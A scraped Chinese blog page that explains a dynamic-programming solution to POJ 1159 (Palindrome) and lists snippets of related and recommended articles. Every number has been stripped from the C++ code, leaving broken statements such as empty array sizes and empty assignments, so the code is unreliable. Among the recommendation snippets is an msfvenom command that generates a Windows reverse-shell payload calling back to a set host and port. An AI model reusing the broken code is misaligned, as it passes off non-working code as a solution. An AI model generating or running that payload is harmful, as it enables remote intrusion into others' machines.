poj 1159 Palindrome - 动态规划
As an example, by inserting 2 characters, the string "Ab3bd" can be transformed into a palindrome ("dAb3bAd" or "Adb3bdA"). However, inserting fewer than 2 characters does not produce a palindrome.
Input
Output
Sample Input
5
Ab3bd
Sample Output
2
f[j][i]表示从i这里开始,一直往后j个字符的这一段改成回文串最少需要添加的字符。然后第一维可以拉去滚动。转移是显然的。。
Code
/**
* poj
* Problem#1159
* Accepted
* Time:782ms
* Memory:748k
*/
#include<iostream>
#include<sstream>
#include<cstdio>
#include<cmath>
#include<cstdlib>
#include<cstring>
#include<cctype>
#include<queue>
#include<set>
#include<map>
#include<stack>
#include<vector>
#include<algorithm>
#ifdef WIN32
#define AUTO "%I64d"
#else
#define AUTO "%lld"
#endif
using namespace std;
typedef bool boolean;
#define smin(a, b) (a) = min((a), (b))
#define smax(a, b) (a) = max((a), (b))
template<typename T>
inline void readInteger(T& u){
char x;
int aFlag = ;
while(!isdigit((x = getchar())) && x != '-');
if(x == '-'){
aFlag = -;
x = getchar();
}
for(u = x - ''; isdigit((x = getchar())); u = u * + x - '');
ungetc(x, stdin);
u *= aFlag;
} template<typename T>class Matrix{
public:
T *p;
int lines;
int rows;
Matrix():p(NULL){ }
Matrix(int rows, int lines):lines(lines), rows(rows){
p = new T[(lines * rows)];
}
T* operator [](int pos){
return (p + pos * lines);
}
};
#define matset(m, i, s) memset((m).p, (i), (s) * (m).lines * (m).rows) int n;
char* str; inline void init() {
readInteger(n);
str = new char[(const int)(n + )];
getchar();
gets(str + );
}
#define idx(i) ((i < 0) ? (i + 3) : (i)) //Matrix<int> f;
int f[][];
inline void solve() {
// f = Matrix<int>(3, n + 1);
for(int i = ; i <= n; i++)
f[][i] = ;
for(int i = ; i < n; i++)
f[][i] = (str[i] == str[i + ]) ? () : ();
int t = ;
for(int k = ; k < n; k++) {
for(int i = ; i + k <= n; i++) {
int j = i + k;
if(str[i] == str[j]) f[t][i] = f[idx(t - )][i + ];
else f[t][i] = min(f[idx(t - )][i], f[idx(t - )][i + ]) + ;
}
t = (t == ) ? () : (t + );
}
printf("%d", f[idx(t - )][]);
} int main() {
init();
solve();
return ;
}
poj 1159 Palindrome - 动态规划的更多相关文章
- POJ 1159 Palindrome(字符串变回文:LCS)
POJ 1159 Palindrome(字符串变回文:LCS) id=1159">http://poj.org/problem? id=1159 题意: 给你一个字符串, 问你做少须要 ...
- 动态规划+滚动数组 -- POJ 1159 Palindrome
给一字符串,问最少加几个字符能够让它成为回文串. 比方 Ab3bd 最少须要两个字符能够成为回文串 dAb3bAd 思路: 动态规划 DP[i][j] 意味着从 i 到 j 这段字符变为回文串最少要几 ...
- OpenJudge/Poj 1159 Palindrome
1.链接地址: http://bailian.openjudge.cn/practice/1159/ http://poj.org/problem?id=1159 2.题目: Palindrome T ...
- POJ 1159 - Palindrome (LCS, 滚动数组)
Palindrome Time Limit: 3000MS Memory Limit: 65536K Total Submissions: 55018 Accepted: 19024 Desc ...
- poj 1159 Palindrome(dp)
题目:http://poj.org/problem?id=1159 #include<iostream> #include<cstring> #include<cstdi ...
- POJ 1159 Palindrome(LCS)
题目链接:http://poj.org/problem?id=1159 题目大意:给定一串字符,添加最少的字符,使之成为回文串. Sample Input 5 Ab3bd Sample Output ...
- POJ 1159 Palindrome 最长公共子序列的问题
Description A palindrome is a symmetrical string, that is, a string read identically from left to ri ...
- poj 1159 Palindrome(区间dp)
题目链接:http://poj.org/problem?id=1159 思路分析:对该问题的最优子结构与最长回文子序列相同.根据最长回文子序列的状态方程稍加改变就可以得到该问题动态方程. 假设字符串为 ...
- POJ 1159 Palindrome(最长公共子序列)
Palindrome [题目链接]Palindrome [题目类型]最长公共子序列 &题解: 你做的操作只能是插入字符,但是你要使最后palindrome,插入了之后就相当于抵消了,所以就和在 ...
随机推荐
- python 定义函数 两个文件调用函数
在def_function.py文件里面写 #coding=utf-8 #定义函数 def hello(): print "hello world" 在test.py里面调用 #c ...
- Nginx配置文件具体配置解释
Nginx配置文件具体配置解释 #定义Nginx运行的用户和用户组 user www www; #nginx进程数,建议设置为等于CPU总核心数. worker_processes 8; #全局错 ...
- 关于c语言中的program_invocation_short_name
错误源自用g++的交叉编译工具链编译eudev.经过一番查找,发现在 errno.h 这个头文件中有 program_invocation_short_name 的 extern 定义. 经过查看 e ...
- Unity shader学习之Alpha Test的阴影
Alpha Test的阴影, shader如下: // Upgrade NOTE: replaced 'mul(UNITY_MATRIX_MVP,*)' with 'UnityObjectToClip ...
- 软工网络15团队作业4——Alpha阶段敏捷冲刺6.0
软工网络15团队作业4--Alpha阶段敏捷冲刺6.0 1.每天举行站立式会议,提供当天站立式会议照片一张. 2.项目每个成员的昨天进展.存在问题.今天安排. 成员 昨天已完成 今天计划完成 郭炜埕 ...
- Msfvenom木马使用及TheFatRat工具
msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...
- 元素位置pageX,pageY,clientX,clientY,scrollX,scrollY,screenX,screenY,offsetX,offsetY
总结: event.clientX 设置或获取鼠标指针位置相对于当前窗口的 x 坐标,其中客户区域不包括窗口自身的控件和滚动条. (可见区域)event.clientY 设置或获取鼠标指针位置相对于当 ...
- 【2017-03-21】HTML表单及标记
一.表单 表单在网页中主要负责数据采集功能 表单格式 <form action="服务器路径" method=get(用的比较少)/post(最常用)></for ...
- MVC 翻頁的那些坑
思绪良久,最后还是决定记录一下遇到的坑,毕竟被 ‘折磨’ 了三天,关于分页,这个话题,我一开始时拒绝的,因为真正接触项目的时候,才发现每个框架都会封装一套自己的分页,毕竟相同风格的项目是不常见的,而在 ...
- flask实战-个人博客-使用蓝本模块化程序
使用蓝本模块化程序 实例化flask提供的blueprint类就创建一个蓝本实例.像程序实例一样,我们可以为蓝本实例注册路由.错误处理函数.上下文处理函数,请求处理函数,甚至是单独的静态文件文件夹和模 ...